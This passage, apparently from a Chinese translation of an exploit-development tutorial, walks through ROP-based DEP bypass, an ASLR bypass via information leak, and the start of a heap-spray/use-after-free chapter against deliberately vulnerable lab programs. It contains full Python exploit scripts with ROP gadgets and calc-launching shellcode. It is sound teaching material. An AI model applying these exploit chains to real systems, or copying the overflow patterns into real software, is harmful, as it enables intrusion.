      0x00000201,  # 0x00000201-> ebx
      0x77db5fbb,  # POP EDX # RETN [ntdll.dll] 
      0x00000040,  # 0x00000040-> edx
      0x6c309b28,  # POP ECX # RETN [MSVCR120.dll] 
      0x77e47163,  # &Writable location [ntdll.dll]
      0x6c324694,  # POP EDI # RETN [MSVCR120.dll] 
      0x6c358e3d,  # RETN (ROP NOP) [MSVCR120.dll]
      0x6c35e14c,  # POP ESI # RETN [MSVCR120.dll] 
      0x77d74bd0,  # JMP [EAX] [ntdll.dll]
      0x6c325102,  # POP EAX # RETN [MSVCR120.dll] 
      0x6c3d51a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
      0x77dcf9cc,  # PUSHAD # RETN [ntdll.dll] 
      0x77dc1463,  # ptr to 'jmp esp' [ntdll.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
  rop_chain = create_rop_chain(



这个rop链的思路很简单:首先我们将寄存器都设置为适当的值,然后通过PUSHAD指令将所有寄存器都压入到栈中.跟之前一样,我们要尽量避免出现空字节.正如你所看到的,该链中包含了一些空字节.我这里稍微修改了一下,把空字节都去掉了.


仔细阅读下面的代码,特别要留意一下注释:


import struct
 
# VirtualProtect的函数原型如下:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );
 
# PUSHAD执行以后, 栈变成了这样:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))          <---------------------------- 当前 ESP
#   ESI (ptr to JMP [EAX] (EAX = 指向VirtualProtect指针的地址))
#   EBP (ptr to POP (跳过栈中的EAX))
#   ESP (lpAddress (自动))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (可写地址的指针))
#   EAX (指向VirtualProtect指针的地址)
# lpAddress:
#   指向"jmp esp"的指针
#   <shellcode>
 
msvcr120 = 0x6c2f0000
kernel32 = 0x77470000
ntdll = 0x77d70000
 
def create_rop_chain():
    for_edx = 0xffffffff
    
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      msvcr120 + 0x20010,  # POP EBP # RETN [msvcr120.dll] 
      msvcr120 + 0x20010,  # skip 4 bytes [msvcr120.dll]
      
      
      # ebx = 0x400(dwsize)
      #0x6c42f1dd,  # POP EBX # RETN [MSVCR120.dll] 
      #0x00000201,  # 0x00000201-> ebx
      msvcr120 + 0xc0135, # POP EBX # RETN [msvcr120.dll]
      0x11110511,
      msvcr120 + 0x8320d, # POP ECX # RETN [msvcr120.dll]
      0xeeeefeef,
      msvcr120 + 0x46398, # ADD EBX,ECX # SUB AL,24 # POP EDX # RETN [msvcr120.dll]
      for_edx,
      
      #0x772d68e0,  # POP EDX # RETN [ntdll.dll] 
      #0x00000040,  # 0x00000040-> edx
     
      #edx = 0x40 (NewProtect = PAGE_EXECUTE_READWRITE)
      msvcr120 + 0x36fdb, # POP EDX # RETN [msvcr120.dll]
      0x01010141,
      msvcr120 + 0x18218,# POP EDI # RETN [msvcr120.dll]
      0xfefefeff,
      msvcr120 + 0x39b41, # ADD EDX,EDI # RETN [MSVCR120.dll]
      
      
      msvcr120 + 0x8320d,  # POP ECX # RETN [MSVCR120.dll] 
      msvcr120 + 0xdf868,  # &Writable location [msvcr120.dll]
      msvcr120 + 0x18218,  # POP EDI # RETN [MSVCR120.dll] 
      msvcr120 + 0xa2b48,  # RETN (ROP NOP) [MSVCR120.dll]
      msvcr120 + 0x30316,  # POP ESI # RETN [MSVCR120.dll] 
      msvcr120 + 0x13a17,  # JMP [EAX] [msvcr120.dll]
      msvcr120 + 0xbb8fb,  # POP EAX # RETN [MSVCR120.dll] 
      msvcr120 + 0xe51a4,  # ptr to &&VirtualProtect() [IAT MSVCR120.dll]
      msvcr120 + 0x3c06f,  # PUSHAD # RETN [msvcr120.dll] 
      msvcr120 + 0xdadf3,  # ptr to 'jmp esp' [msvcr120.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = msvcr120 + 0x9000d            # RETN
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain() + shellcode
        f.write(name)
 
write_file(r'c:\name.dat')


再来看一下关键的注释:

# PUSHAD执行以后, 栈变成了这样:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))          <---------------------------- 当前 ESP
#   ESI (ptr to JMP [EAX] (EAX = 指向VirtualProtect指针的地址))
#   EBP (ptr to POP (跳过栈中的EAX))
#   ESP (lpAddress (自动))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (可写地址的指针))
#   EAX (指向VirtualProtect指针的地址)
# lpAddress:
#   指向"jmp esp"的指针
#   <shellcode>



PUSHAD指令会按照EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI的先后顺序分别这些寄存器压入到栈中.由于一次只能压入一个寄存器到栈中,所以栈中结果排列的顺序是反过来的,跟你在上面注释中看到的一样.




还有要注意的是在PUSHAD刚好要执行之前,ESP指向了rop链中的最后一个DWORD(即指向[msvcr120.dll]中‘jmp esp’指令的指针),注意PUSHAD也会将(ESP(lpAddress))这个值压入到栈中.这个值为lpAddress,也就是我们想要修改访问属性内存区域的起始地址.




在PUSHAD执行之后,ESP指向了EDI被压入栈中所在的位置(看上面注释中当前ESP所在位置).在PUSHAD这个小部件(gadget)中,紧随其后的是RET:


msvcr120.dll + A4859, # PUSHAD # RETN [MSVCR120.dll] 



这个RET会弹出EDI被压入到栈中的那个DWORD的值,接着跳往这个DWORD,其实是一个NOP部件(gadget)(NOP表示什么也不做),接着弹出ESI被压入到栈中的DWORD的值,也就是跳往JMP [EAX]部件.由于此时EAX正好保存了存放VirtualProtect这个函数首地址内存单元的地址,所以这个部件会跳去执行VirtualProtect.注意:此时栈中已经为VirtualProtect排布好了参数:


EBP (ptr to POP (跳过栈中的EAX))                        # RET EIP
ESP (lpAddress (自动))                                   # 参数 1
EBX (dwSize)                                             # 参数 2
EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))     # 参数 3
ECX (lpOldProtect (可写地址的指针))                    # 参数 4



当VirutalProtect调用完以后,会跳转到POP
# RET部件,对应于图示中的EBP,与此同时栈中的参数会被清理掉.现在ESP指向了栈中对应于EAX的DWORD.这个POP
# RET部件最后被执行,POP会将ESP加4,也就跳过了EAX对应的DWORD,接着RET跳往jmp esp部件,也就是去调用shellcode了(现在shellcode所在的内存区域具有可执行属性了).







不知道你注意到没有,我喜欢把地址表示为如下的形式:


基地址 + RVA



原因很简单:因为ASLR(地址随机化),也就是说地址会变,但是RVA是保持不变的.


如果你想在你电脑上测试这份代码,你需要重新计算所有的偏移,因为每个系统都不一样.如果你能够成功完成上述工作,你将会受益良多.在实际的漏洞利用过程中,你应该尽量借助应用程序自身的模块,这样exploit的可靠性会更高.





























































































Exploitme4 (ASLR)

如果你还没有看过前面三章,赶紧去看一看.

ASLR是地址空间布局随机化的缩写.顾名思义,地址空间的布局是随机的,即:对于启用了ASLR的模块来说,每次Windows重启,模块被加载到内存中的基地址,PEB,TEB都会改变.这就让攻击者不能再在他们的exploit中使用硬编码了.目前来说至少有两种方法绕过ASLR:

1.         找到某些基地址是定值的数据结构或者模块.

2.         利用信息泄露来确定数据结构和模块的基地址.

本章我们将编译一个用于exploit的小程序,名字叫做Exploitme4.exe.

在VS 2013中,我们禁用掉安全检查(stack cookies/GS),但是不要禁用DEP,来到工程->属性,将下面所做的修改应用到发布版本配置:

●  配置属性

●  C/C++

●  代码生成

●  安全检查:禁用安全检查(/GS-)

确保DEP是开启的:

●  配置属性

●  链接器

●  数据执行保护(DEP):是(/NXCOMPAT)

程序代码如下:

#include <conio.h>
 
class Name {
       char name[32];
       int *ptr;
 
public:
       Name() : ptr((int *)name) {}
 
       char *getNameBuf() { return name; }
 
       int readFromFile(const char *filePath) {
              printf("Reading name from file...\n");
 
              for (int i = 0; i < sizeof(name); ++i)
                     name[i] = 0;
 
              FILE *f = fopen(filePath, "rb");
              if (!f)
                     return 0;
              fseek(f, 0L, SEEK_END);
              long bytes = ftell(f);
              fseek(f, 0L, SEEK_SET);
              fread(name, 1, bytes, f);
              fclose(f);
              return 1;
       }
 
       virtual void printName() {
              printf("Hi, %s!\n", name);
       }
 
       virtual void printNameInHex() {
              for (int i = 0; i < sizeof(name) / 4; ++i)
                     printf(" 0x%08x", ptr[i]);
              printf("]\n");
       }
};
 
int main() {
       Name name;
 
       while (true) {
              if (!name.readFromFile("c:\\name.dat"))
                     return -1;
              name.printName();
              name.printNameInHex();
 
              printf("Do you want to read the name again? [y/n] ");
              if (_getch() != 'y')
                     break;
              printf("\n");
       }
       return 0;
}



这个程序与之前的程序类似,只是一些逻辑代码被放到了类中了.还有就是,我在程序中添加了一个循环,便于我们多次exploit该程序,而不用退出该程序.

漏洞还是一样的:我们可以溢出name这个缓冲区(在类Name里面),但是这次我们可以通过两种方式来exploit它:

1.         对象name在栈中,通过溢出name对象的name属性,我们可以控制main()函数的ret eip(返回地址),这样在main()函数返回的时候,我们的shellcode就会被执行.

2.         通过溢出name对象的name属性,我们可以覆盖在printNameInHex()函数中用到的ptr属性.通过控制ptr,我们可以让printNameInHex()函数输出任意内存起始的32个字节.


首先,我们要看看是否需要利用信息泄露来绕过ASLR.在WinDbg中加载Exploitme4.exe,给main()函数设置一个断点:



接着按F5(运行).然后我们用mona列举一下模块:



我们可以看到,所有模块都启用了ASLR,所以我们需要把在Exploitme4.exe中发现的信息泄露充分利用起来.


通过信息泄露,我们可以得知kernel32.dll,ntdll.dll和msvcr120.dll的基地址.要绕过ASLR,我们首先需要收集Exploitme4.exe和我们感兴趣的三个库的相关信息.


区段

首先,我们来确定Exploitme4.exe的.text(即:代码段)节的RVA(即:相对基地址的偏移):



我们可以看到,RVA为1000h.这个信息马上就会派上用场.


虚函数

Name类有两个虚函数:printName()和printNameInHex().这就意味着Name有一个用于调用这两个虚函数的虚函数表.我们一起来看一看它是如何运作的.


在OOP(面向对象编程)中,类可以被继承,即:一个类可以从另一个类派生.看一看下面的例子:

#define _USE_MATH_DEFINES
#include <math.h>
class Figure {
public:
       virtual double getArea() = 0;
};
class Rectangle : public Figure {
       double base, height;
public:
       Rectangle(double base, double height) : base(base), height(height) {}
       virtual double getArea() {
              return base * height;
       }
};
class Circle : public Figure {
       double radius;
public:
       Circle(double radius) : radius(radius) {}
       virtual double getArea() {
              return radius * M_PI;
       }
};
int main() {
       Figure *figures[] = { new Rectangle(10, 5), new Circle(1.5), new Rectangle(5, 10) };
       for (Figure *f : figures)
              printf("area: %lf\n", f->getArea());
       return 0;
}




Rectangle和Circle类继承于Figure类,即Retangle(矩形)是Figure(图形),Circle(圆)也就是Figure(图形).这意味着我们可以将一个指向Rectangle或者Circle的指针赋值给指向Figure类型的指针.注意:Figure并没有实现getArea()这个方法,但是Rectangle和Circle提供了它们各自关于这个函数的实现.


看一看main()函数.首先三个Figure(图形)(两个Rectangle(矩形)和一个Circle(圆形))被分配,指向它们的指针被放到了figures数组中.接着,遍历Figure*类型的指针f,调用f->getArea().最后这个表达式会根据这个figure(图形)到底是Rectangle(矩形)还是Circle(圆形)去调用正确的getArea()函数实现.


那么汇编代码中又是怎么实现的呢?我们来看一看这个for循环:



我们感兴趣的几行如下:

000410E0 8B 0E                mov         ecx,dword ptr [esi]  // ecx = 对象的指针
    40:         printf("area: %lf\n", f->getArea());
000410E2 8B 01                mov         eax,dword ptr [ecx]  // eax = 虚表指针
000410E4 8B 00                mov         eax,dword ptr [eax]  // eax = getArea()函数实现的指针
000410E6 FF D0                call        eax  



每个对象起始处都是一个虚表指针.所有Rectangle类型的对象都包含有一个指向相同虚表的指针,该虚表中包含有指向Rectangle的getArea()函数实现的指针.Circle类型的对象包含有指向另一个虚表的指针,而该虚表中又包含了指向Circle的getArea()函数实现的指针.通过这种多层的间接访问,相同的汇编代码就可以实现各个对象根据自身的类型(即各自的虚表)去调用到正确的getArea()方法.


下面的这张图可以帮助大家更好的理解:




我们回到Exploitme4.exe.用WinDbg加载它,在main()处设置一个断点,接着不断地按F10(单步)往下跟踪,直到你进入while循环为止(对应着源代码看).这么做是为了确保name对象已经被创建和初始化.

name对象的布局如下:

|VFTptr | name           | ptr   |
 <DWORD> <-- 32 bytes --> <DWORD>


就像我们之前所说的,虚函数表指针位于0偏移处.我们来查看一下这个指针:



虚表的指针为0x012921a0.现在,我们来看一看虚表中内容:



我们可以看到printName()的指针为0x01291000,还有printNameInHex()的指针为0x01291020.我们来计算一下printName()指针的RVA.




IAT

windows加载器在其他模块的动态链接阶段会将被导入函数的地址填充到PE文件的IAT(导入函数地址表)中.当一个程序想要调用一个导入函数的时候,它会使用如下形式的CALL:

CALL dword ptr ds:[IAT中的位置]


通过查看Exploitme4.exe的IAT,我们可以得知被导入函数所在模块的基地址.

首先,我们来定位到IAT:



IAT的RVA是0x2000,大小占0Xb8个字节.现在我们可以通过使用dps(该命令显示符号相关的地址)命令来显示IAT的内容了:

0:000> dps Exploitme4+2000 LB8/4
01292000  75cbb02b kernel32!IsDebuggerPresentStub             <---------------------------------- kernel32
01292004  772ef020 ntdll!RtlDecodePointer                     <---------------------------------- ntdll
01292008  75cbfe44 kernel32!GetSystemTimeAsFileTimeStub                                                      msvcr120
0129200c  75cbf212 kernel32!GetCurrentThreadIdStub                                                               |
01292010  75cc0d23 kernel32!GetCurrentProcessIdStub                                                              |
01292014  75cbf2a7 kernel32!QueryPerformanceCounterStub                                                         |
01292018  772f324c ntdll!RtlEncodePointer                                                                         |
0129201c  75cc0db4 kernel32!IsProcessorFeaturePresent                                                           |
01292020  00000000                                                                                                   |
01292024  6c074ced MSVCR120!XcptFilter   <-------------------------------------------------------------+
01292028  6c04bb8d MSVCR120!amsg_exit
0129202c  6bffe25f MSVCR120!_getmainargs
01292030  6bffc7ce MSVCR120!_set_app_type
01292034  6c004293 MSVCR120!exit
01292038  6c04bbb8 MSVCR120!exit
0129203c  6c004104 MSVCR120!cexit
01292040  6c0755eb MSVCR120!configthreadlocale
01292044  6c04b9e9 MSVCR120!_setusermatherr
01292048  6bfecc86 MSVCR120!initterm_e
0129204c  6bfecc50 MSVCR120!initterm
01292050  6c0af62c MSVCR120!_initenv
01292054  6c0af740 MSVCR120!fmode
01292058  6bfdec80 MSVCR120!type_info::~type_info
0129205c  6c06dc2c MSVCR120!terminate
01292060  6bffc7db MSVCR120!_crtSetUnhandledExceptionFilter
01292064  6bfdedd7 MSVCR120!lock
01292068  6bfdedfc MSVCR120!unlock
0129206c  6bfe1208 MSVCR120!calloc_crt
01292070  6bfeca46 MSVCR120!_dllonexit
01292074  6bffbe6b MSVCR120!onexit
01292078  6c07469b MSVCR120!invoke_watson
0129207c  6bffc9b5 MSVCR120!controlfp_s
01292080  6bfe2aaa MSVCR120!except_handler4_common
01292084  6c076bb8 MSVCR120!crt_debugger_hook
01292088  6c07480c MSVCR120!_crtUnhandledException
0129208c  6c0747f7 MSVCR120!_crtTerminateProcess
01292090  6bfded74 MSVCR120!operator delete
01292094  6c07215c MSVCR120!getch
01292098  6bfe4f9e MSVCR120!fclose
0129209c  6bfe5a8c MSVCR120!fread
012920a0  6bfff9de MSVCR120!ftell
012920a4  6bfffdbc MSVCR120!fseek
012920a8  6c051dc4 MSVCR120!fopen
012920ac  6c0af638 MSVCR120!commode
012920b0  6c052fd9 MSVCR120!printf
012920b4  00000000




我们仅仅需要三个地址,每个模块一个.现在我们来计算三个地址的RVA:



所以我们得出如下结论:

@exploitme4 + 00002000    kernel32 + 0004b02b
@exploitme4 + 00002004    ntdll + 0005f020
@exploitme4 + 00002024    msvcr120 + 000a4ced 


第一行表示在exploitme4 + 00002000地址所在内存单元中保存在kernel32 + 0004b02b.就算exploitme4和kernel32(它们的基地址)变了,RVA依然还是定值,因此上表总是正确的.这些信息在漏洞利用过程中确定kernel32,ntdll.dll和msvcr120.dll等模块的基地址会起到关键的作用.


弹出计算器

正如我们之前看到的,name对象的布局如下:

|VFTptr | name           | ptr   |
 <DWORD> <-- 32 bytes --> <DWORD>


这表示在name.dat文件中偏移32个字节,就可以覆盖ptr所在的DWORD.由于我们想要的是控制EIP,所以现在可以暂时忽略掉ptr.首先,我们可以看到name对象是在栈中被分配的,所以通过溢出name属性确实有可能覆盖掉ret eip(返回地址).由于我们必须要通过覆盖ptr的方式来控制EIP,所以我们必须为ptr选择一个可读的位置,不然的话当用到ptr的时候exploitme4将会崩溃.

我们可以用kernel32.dll的基地址来覆盖ptr.


打开IDLE,运行如下的Python脚本:



用WinDbg加载Exploitme4,按F5(运行),接着在Exploitme4的控制台中输入’n’,从main()函数中退出,这样就能引发异常:



我们可以看到EIP被我们的4个“b”覆盖了.我们用mona计算一下控制EIP的DWORD确切的偏移:



更新之后的脚本如下:



用WinDbg按照上面的步骤重新操作该进程将产生另一个异常:



我们来看一看0x61413161的偏移是多少:



现在我们可以得知偏移是4,我们可以重用之前用来绕过DEP的脚本.我们仅仅需要做一点小小的改动,不要忘了还要更新kernel32.dll,ntdll.dll和msvcr120.dll的基地址.

完整的脚本如下:

import struct
 
# VirtualProtect的函数原型如下:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );
 
# PUSHAD执行以后, 栈变成了这样:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))          <---------------------------- 当前 ESP
#   ESI (ptr to JMP [EAX] (EAX = 指向VirtualProtect指针的地址))
#   EBP (ptr to POP (跳过栈中的EAX))
#   ESP (lpAddress (自动))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (可写地址的指针))
#   EAX (指向VirtualProtect指针的地址)
# lpAddress:
#   指向"call esp"的指针
#   <shellcode>

 
msvcr120 = 0x6bfd0000
kernel32 = 0x75c70000
ntdll = 0x77290000
 
def create_rop_chain():
    for_edx = 0xffffffff
 
    # rop chain generated with mona.py - www.corelan.be (and modified by me).
    rop_gadgets = [
        msvcr120 + 0x20010,  # POP EBP # RETN [MSVCR120.dll]
        msvcr120 + 0x20010,  # skip 4 bytes [MSVCR120.dll]
 
        # ebx = 0x400 (dwSize)
        msvcr120 + 0x700f6,  # POP EBX # RETN [MSVCR120.dll]
        0x11110511,
        msvcr120 + 0x815bf,  # POP ECX # RETN [MSVCR120.dll]
        0xeeeefeef,
        msvcr120 + 0x46398,  # ADD EBX,ECX # SUB AL,24 # POP EDX # RETN [MSVCR120.dll]
        for_edx,
 
        # edx = 0x40 (NewProtect = PAGE_EXECUTE_READWRITE)
        msvcr120 + 0x36fdb,  # POP EDX # RETN [MSVCR120.dll]
        0x01010141,
        ntdll + 0x30fe6,     # POP EDI # RETN [ntdll.dll]
        0xfefefeff,
        msvcr120 + 0xac6e1,  # ADD EDX,EDI # RETN [MSVCR120.dll]
 
        msvcr120 + 0x815bf,  # POP ECX # RETN [MSVCR120.dll]
        ntdll + 0xdd527,  # &Writable location [ntdll.dll]
        ntdll + 0x30fe6,     # POP EDI # RETN [ntdll.dll]
        msvcr120 + 0xac6e3,  # RETN (ROP NOP) [MSVCR120.dll]
        msvcr120 + 0x75582,  # POP ESI # RETN [MSVCR120.dll]
        ntdll + 0x4bd0,      # JMP [EAX] [ntdll.dll]
        msvcr120 + 0x50464,  # POP EAX # RETN [MSVCR120.dll]
        msvcr120 + 0xe51a4,  # address of ptr to &VirtualProtect() [IAT MSVCR120.dll]
        msvcr120 + 0xa4859,  # PUSHAD # RETN [MSVCR120.dll]
        ntdll + 0x51463,  # ptr to 'jmp esp' [ntdll.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
def write_file(file_path):
    with open(file_path, 'wb') as f:
        readable = struct.pack('<I', kernel32)
        ret_eip = struct.pack('<I', kernel32 + 0xa5093)            # RETN
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        name = 'a'*32 + readable + 'a'*4 + ret_eip + create_rop_chain() + shellcode
        f.write(name)
 
write_file(r'c:\name.dat')



运行该脚本,然后运行Exploitme4.exe,通过在控制台的提示下输入“n”从主函数退出.如果你一切都操作无误的话,计算器将弹出了.哇啊,成功了!



利用信息泄露

现在我们假设我们并不知道kernel32.dll,ntdll.dll和msvcr120.dll的基地址,我们想要单独通过Exploitme4.exe来确定这些模块的基地址(如果Exploitme4.exe作为一个远程服务的话,我们也可以从远程PC确定这些模块的基地址).

从Exploitme4的源代码中,我们可以看到ptr最初指向了name数组的起始处:

class Name {
       char name[32];
       int *ptr;
 
public:
       Name() : ptr((int *)name) {}
<省略>
};



我们想要读取虚表的指针,这里我们可以通过控制ptr来读取我们想要的数据,可我们还是无法得知name的地址.一种解决方案是实施部分覆盖.就是说我们可以仅仅覆盖ptr的低字节:



如果ptr的初始化值是0xYYYYYYYY,被覆盖以后,ptr就变成了0xYYYYYYY80.现在我们运行Exploitme4.exe(直接运行,不用WinDbg):



正如我们所看到的,ptr作为起始地址所在内存单元中保存的8个DWORD是



这里没有看到我们放到name缓冲区中的”a”(0x61616161),所以我们要继续搜索.我们接着试0x60:

write_file(0x60)


更新name.dat以后,在Exploitme4.exe控制台中按’y’,看看显示了内存中的哪个部分.由于Exploitme4.exe一次只能显示0x20个字节,所以我们可以以0x20作为步长来增加或者减少ptr.我们再来试一试其他的值(每次更新了name.dat之后在控制台中按‘y’):

write_file(0x40)
write_file(0x20)
write_file(0x00)
write_file(0xa0)
write_file(0xc0)


0xa0这个值的情况如下:



清楚了,即0x010c21a0为虚表的指针.现在我们读取虚表的内容:



当再次在控制台中按下‘y’,我们可以看到如下信息:



两个虚函数的指针是0x010c1000和0x010c1020.我们前面已经算过了,第一个虚函数的RVA为0x1000,因此Exploitme4的基地址为:

0:000> ? 010c1000 - 1000
Evaluate expression: 17563648 =  010c0000


现在是时候利用我们通过Exploitme4.exe的IAT得到的信息了:

@exploitme4 + 00002000    kernel32 + 0004b02b
@exploitme4 + 00002004    ntdll + 0005f020
@exploitme4 + 00002024    msvcr120 + 000a4ced 


因为我们刚刚得知了Exploitme4.exe的基地址为0x010c0000,我们可以写成

@010c2000    kernel32 + 0004b02b
@010c2004    ntdll + 0005f020
@010c2024    msvcr120 + 000a4ced 


我们用第一个地址来覆盖ptr:


write_file(0x010c2000)


通过在控制台中按‘y’,我们得到:



我们得到两个值:0x77aeb02b和0x77d1f020.

接着最后一个:

write_file(0x010c2024)


通过在控制台中按‘y’,我们得到:



最后一个值是0x6cdd4ced.

所以我们得出:

@010c2000    kernel32 + 0004b02b = 0x77aeb02b
@010c2004    ntdll + 0005f020 = 0x77d1f020
@010c2024    msvcr120 + 000a4ced = 0x6cdd4ced


因此:

kernel32 = 0x77aeb02b – 0x0004b02b = 0x77AA0000
ntdll = 0x77d1f020 – 0x0005f020 = 0x77CC0000
msvcr120 = 0x6cdd4ced – 0x000a4ced = 0x6CD30000


恭喜!我们绕过了ASLR!

当然,就算我们要访问的是远程主机中程序而不是本机程序,以上这些流程也同样是适用的.但是,在实际的漏洞利用过程中以上这些步骤可能需要自动化完成.我这里为了给大家介绍原理,加深大家的理解,是纯手工演示整个流程的.另外,大家也不用担心前面这些章节没有实战意义,后面我们介绍IE浏览器的时候,将为大家展示一个真正的exploit,让大家深刻体会前面这些理论知识的重要性!






Exploitme5
(Heap spraying & UAF)


如果在阅读本章之前,你还没有读过之前4章,赶紧去读一读.


这个例子,你需要禁用DEP,在VS 2013中,打开工程->属性,将下面所做的修改应用到发布版本配置:


●  配置属性


●  链接器


●  数据执行保护(DEP):No (/NXCOMPAT.NO)


Exploitme5的源代码如下:


#include <conio.h>
#include <vector>
 
using namespace std;
 
const bool printAddresses = true;
 
class Mutator {
protected:
      int param;
 
public:
      Mutator(int param) : param(param) {}
 
      virtual int getParam() const {
           return param;
      }
      
      virtual void mutate(void *data, int size) const = 0;
};
 
class Multiplier : public Mutator {
      int reserved[40];           // 现在没用到!
 
public:
      Multiplier(int multiplier = 0) : Mutator(multiplier) {}
 
      virtual void mutate(void *data, int size) const {
           int *ptr = (int *)data;
           for (int i = 0; i < size / 4; ++i)
                 ptr[i] *= getParam();
      }
};
 
class LowerCaser : public Mutator {
public:
      LowerCaser() : Mutator(0) {}
 
      virtual void mutate(void *data, int size) const {
           char *ptr = (char *)data;
           for (int i = 0; i < size; ++i)
                 if (ptr[i] >= 'a' && ptr[i] <= 'z')
                      ptr[i] -= 0x20;
      }
};
 
class Block {
      void *data;
      int size;
 
public:
      Block(void *data, int size) : data(data), size(size) {}
      void *getData() const { return data; }
      int getSize() const { return size; }
};
 
// 全局变量
vector<Block> blocks;
Mutator *mutators[] = { new Multiplier(2), new LowerCaser() };
 
void configureMutator() {
      while (true) {
           printf(
                 "1) Multiplier (multiplier = %d)\n"
                 "2) LowerCaser\n"
                 "3) Exit\n"
                 "\n"
